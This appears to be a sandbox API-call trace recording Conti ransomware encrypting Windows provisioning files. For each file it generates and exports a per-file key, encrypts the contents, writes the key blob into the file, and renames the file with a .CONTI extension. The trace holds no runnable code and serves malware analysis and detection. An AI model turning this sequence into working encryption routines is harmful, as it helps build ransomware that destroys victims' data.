	[0107.039] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x504
	[0107.039] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.039] SetEndOfFile (hFile=0x2f4) returned 1
	[0107.039] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.039] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.040] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d5b0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17d5b0c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.041] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.041] ReadFile (in: hFile=0x2f4, lpBuffer=0xee90000, nNumberOfBytesToRead=0x504, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x504, lpOverlapped=0x0) returned 1
	[0107.041] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x504, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x510) returned 1
	[0107.041] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.041] WriteFile (in: hFile=0x2f4, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x510, lpOverlapped=0x0) returned 1
	[0107.041] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.042] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d5b00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17d5b00*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0107.042] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.042] CloseHandle (hObject=0x2f4) returned 1
	[0107.042] GetProcessHeap () returned 0x1720000
	[0107.042] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.042] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml"
	[0107.042] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.CONTI"
	[0107.042] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.conti")) returned 1
	[0107.042] GetProcessHeap () returned 0x1720000
	[0107.042] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.042] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0107.043] GetProcessHeap () returned 0x1720000
	[0107.043] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cc188 | out: hHeap=0x1720000) returned 1
	[0107.043] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0107.043] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17c4598 | out: phKey=0x17c4598*=0x17c7f70) returned 1
	[0107.043] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c459c, pdwDataLen=0x50ff91c | out: pbData=0x17c459c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0107.043] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml")) returned 0x20
	[0107.043] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.044] GetLastError () returned 0x0
	[0107.044] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=271) returned 1
	[0107.044] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f
	[0107.044] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.044] SetEndOfFile (hFile=0x2f4) returned 1
	[0107.045] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.045] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.045] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c459c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17c459c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.046] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.046] ReadFile (in: hFile=0x2f4, lpBuffer=0xee90000, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x10f, lpOverlapped=0x0) returned 1
	[0107.046] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x10f, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x110) returned 1
	[0107.046] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.047] WriteFile (in: hFile=0x2f4, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x110, lpOverlapped=0x0) returned 1
	[0107.047] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.047] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c4590*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17c4590*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0107.047] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.047] CloseHandle (hObject=0x2f4) returned 1
	[0107.047] GetProcessHeap () returned 0x1720000
	[0107.047] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.047] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml"
	[0107.047] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml.CONTI"
	[0107.047] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml.conti")) returned 1
	[0107.047] GetProcessHeap () returned 0x1720000
	[0107.047] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.048] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0107.048] GetProcessHeap () returned 0x1720000
	[0107.048] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181ce28 | out: hHeap=0x1720000) returned 1
	[0107.048] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0107.048] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17c47e0 | out: phKey=0x17c47e0*=0x17c85b0) returned 1
	[0107.048] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c47e4, pdwDataLen=0x50ff91c | out: pbData=0x17c47e4*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0107.049] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20
	[0107.049] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.049] GetLastError () returned 0x0
	[0107.049] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=677) returned 1
	[0107.049] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2a5
	[0107.049] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.050] SetEndOfFile (hFile=0x2f4) returned 1
	[0107.050] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.050] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.050] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c47e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17c47e4*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.051] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.052] ReadFile (in: hFile=0x2f4, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2a5, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2a5, lpOverlapped=0x0) returned 1
	[0107.052] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2a5, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2b0) returned 1
	[0107.052] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.052] WriteFile (in: hFile=0x2f4, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2b0, lpOverlapped=0x0) returned 1
	[0107.052] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.052] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c47d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17c47d8*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0107.052] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.052] CloseHandle (hObject=0x2f4) returned 1
	[0107.052] GetProcessHeap () returned 0x1720000
	[0107.052] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17e5440
	[0107.053] lstrcpyW (in: lpString1=0x17e5440, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml"
	[0107.053] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI"
	[0107.053] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\0__power_energyestimationengine.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\0__power_energyestimationengine.provxml.conti")) returned 1
	[0107.054] GetProcessHeap () returned 0x1720000
	[0107.054] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e5440 | out: hHeap=0x1720000) returned 1
	[0107.054] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0107.054] GetProcessHeap () returned 0x1720000
	[0107.054] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181e258 | out: hHeap=0x1720000) returned 1
	[0107.054] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0107.054] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17c4c70 | out: phKey=0x17c4c70*=0x17c84f0) returned 1
	[0107.054] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4c74, pdwDataLen=0x50ff91c | out: pbData=0x17c4c74*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0107.055] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml")) returned 0x20
	[0107.055] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.055] GetLastError () returned 0x0
	[0107.055] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=546) returned 1
	[0107.055] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x222
	[0107.055] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.055] SetEndOfFile (hFile=0x2f4) returned 1
	[0107.059] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.059] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.059] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c4c74*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17c4c74*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.061] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.061] ReadFile (in: hFile=0x2f4, lpBuffer=0xee90000, nNumberOfBytesToRead=0x222, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x222, lpOverlapped=0x0) returned 1
	[0107.061] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x222, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x230) returned 1
	[0107.061] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.061] WriteFile (in: hFile=0x2f4, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x230, lpOverlapped=0x0) returned 1
	[0107.061] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.061] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c4c68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17c4c68*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0107.061] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.061] CloseHandle (hObject=0x2f4) returned 1
	[0107.061] GetProcessHeap () returned 0x1720000
	[0107.061] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17e5440
	[0107.061] lstrcpyW (in: lpString1=0x17e5440, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml"
	[0107.061] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml.CONTI"
	[0107.061] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml.conti")) returned 1
	[0107.062] GetProcessHeap () returned 0x1720000
	[0107.062] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e5440 | out: hHeap=0x1720000) returned 1
	[0107.062] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0107.062] GetProcessHeap () returned 0x1720000
	[0107.062] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510c30 | out: hHeap=0x1720000) returned 1
	[0107.062] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0107.062] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17c4eb8 | out: phKey=0x17c4eb8*=0x17c84f0) returned 1
	[0107.062] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4ebc, pdwDataLen=0x50ff91c | out: pbData=0x17c4ebc*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0107.063] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml")) returned 0x20
	[0107.063] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.063] GetLastError () returned 0x0
	[0107.063] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=637531) returned 1
	[0107.063] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9ba5b
	[0107.063] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.063] SetEndOfFile (hFile=0x2f4) returned 1
	[0107.063] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.063] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
